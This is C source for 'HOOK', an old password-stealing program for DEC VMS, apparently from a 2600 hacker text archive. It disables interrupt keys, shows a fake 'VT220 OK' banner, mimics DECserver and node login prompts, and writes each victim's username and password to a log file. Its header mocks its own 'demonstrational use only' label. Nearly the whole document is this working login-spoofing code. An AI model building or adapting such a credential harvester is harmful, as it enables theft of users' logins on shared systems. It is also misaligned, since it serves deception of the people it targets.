VT Hacking

/*                 HOOK
 * VT100/200/220 Login Simulator / Password Cache
 *              VMS Version
 *      FOR DEMONSTRATIONAL USE ONLY
 *              (yeah, right)
 *          Written by: Mr. Bungle
 *
 * Greets to NMI, Gary Seven, EvertClear, and all those in [Tribe 0]  
 *            Call Bell's Hell BBS
*/

#include <stdio.h>
#include <ctype.h>

#define BYTE unsigned char
#define TRUE 1
#define FALSE 0

/* Escape Code Defines */
#define ESC 27

/* VT220 Ok Sign Defines */
#define ULC 108
#define URC 107
#define LLC 109
#define LRC 106
#define VRT 120
#define HOR 113
#define WIDTH 18

/* VT Reset Macro */
#define die() printf("%cc", ESC)

/* Display Strings */
  char server[] = "DECserver 200 Terminal Server V2.0 (BL29) - LAT V5.1\n\n";
    char help[] = "Please type HELP if you need assistance\n\n";
    char user[] = "Enter username> ";
   char local[] = "Local>";
 char connect[] = "Local -010- Session 1 to WS0X established\n\n\n\n";
char netprmpt[] = "Network Node WS0X\n\n";
  char uprmpt[] = "Username: ";
  char pprmpt[] = "Password :";

main()
{
  char latname[128];
  char username[128];
  char password[128];
  char command[128];
  int i;
  float delay;
  FILE *log;
  unsigned long dmask;

/* Disable ^C, ^Y, and ^T */

  dmask = 0x02100000;
  LIB$DISABLE_CTRL(&dmask);

/* Display phony Ok Banner */
  system("set term/noecho");    /* Disable echo */
  disp_vt220ok();               /* Draw Banner */
  getchar();                    /* Wait for <CR> */
  printf("%c[2J", ESC);         /* Clear screen */

/* START OF LAN-SPECIFIC STUFF */

/* Intially write out prompt so no delay */
  printf("%c[%d;%dH", ESC, 1, 1);       /* Home cursor */
  printf("%c[?25h", ESC);       /* Enable cursor */
  printf("%s", server);
  printf("%s", help);
  printf("%s", user);

  system("set term/echo");      /* Enable echo */

/* Simulate LAT login */
  latname[0] = 0;
  gets(latname);
  while (!latname[0]) {
    printf("%s", server);
    printf("%s", help);
    printf("%s", user);
    gets(latname);
  }

/* Simulate Local Prompt */
  printf("\n\n");
  command[0] = 0;
  while (!command[0]) {
    printf("%s", local);
    gets(command);

    if (command[0]) {
      /* Look for 'ws0' in command */
      for (i = 0; ((tolower(command[i]) != 'w') && (i < 25)); ++i);
      if (i >= 25)
        die();
      if (tolower(command[++i]) != 's')
        die();
      if (tolower(command[++i]) != '0')
        die();

    }
  }

/* Insert Node # into display strings */
  connect[28] = command[++i];
  netprmpt[16] = connect[28];

/* Simulate connection delay */
  delay = 1.5;
  LIB$WAIT(&delay);
/* Simulate connection to Node */
  printf("%s", connect);
  printf("%s", netprmpt);
  printf("%s", uprmpt);
  gets(username);

/* Last but not least, the password... */
  printf("%s", pprmpt);
  system("set term/noecho");
  gets(password);

/* END OF LAN-SPECIFIC STUFF */

/* Append this new entry to the LOG file */
  log = fopen("hook.log", "a+");
  fprintf(log, "\nLAT name: %s\n", latname);
  fprintf(log, "Node: WS0%c\n", connect[28]);
  fprintf(log, "UserID: %s\n", username);
  fprintf(log, "Password: %s\n", password);
  fclose(log);

/* Reset terminal - Thank you! */
  die();

}

/* Displ y phony VT220 Ok Banner */
disp_vt220ok()
{
  int i;
  printf("%c[2J", ESC);         /* Clear screen */
  printf("%c[?25l", ESC);       /* Hide cursor */
  printf("%c[%d;%dH", ESC, 1, 1);       /* Horne cursor */
  printf("\n\n\n\n\n\n\n\n\n\n");

/* Set graphics char mode */
  printf("%c(0", ESC);

/* Print top line */
  printf("                        %c", ULC);
  for (i = 0; i < WIDTH; ++i)
    printf("%c", HOR);
  printf("%c\n", URC);
  printf("                        %c", VRT);

/* Set US char mode */
  printf("%c(B", ESC);

  printf("     VT220 OK      ");

/* Set Graphics char mode */
  printf("%c(0", ESC);
  printf("%c\n", VRT);

/* Print bottom line */
  printf("                        %c", LLC);
  for (i = 0; i < WIDTH; ++i)
    printf("%c", HOR);
  printf("%c\n", LRC);

/* Set normal intensity */
  printf("%c[0m", ESC);
  printf("%c(B", ESC);
}

Code: hook.c  For DEC VMS only.

Return to $2600 Index